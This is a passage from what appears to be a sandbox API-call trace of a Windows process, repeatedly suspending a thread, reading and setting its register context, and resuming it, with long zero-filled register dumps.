[83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0115.900] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a10, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0115.969] ResumeThread (hThread=0x130) returned 0x1
[0115.969] CloseHandle (hObject=0x130) returned 1
[0115.969] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.006] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.039] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.115] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.191] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0116.191] SuspendThread (hThread=0x130) returned 0x0
[0116.191] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147b68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x139ff60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0116.260] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147b60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0116.377] ResumeThread (hThread=0x130) returned 0x1
[0116.377] CloseHandle (hObject=0x130) returned 1
[0116.377] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.411] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.512] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.587] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.622] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.699] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.828] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0116.828] SuspendThread (hThread=0x130) returned 0x0
[0116.828] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff4c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7ffc71d44dd4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0116.897] ResumeThread (hThread=0x130) returned 0x1
[0116.897] CloseHandle (hObject=0x130) returned 1
[0116.897] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0116.972] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.046] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0117.046] SuspendThread (hThread=0x130) returned 0x0
[0117.046] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15d2340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, 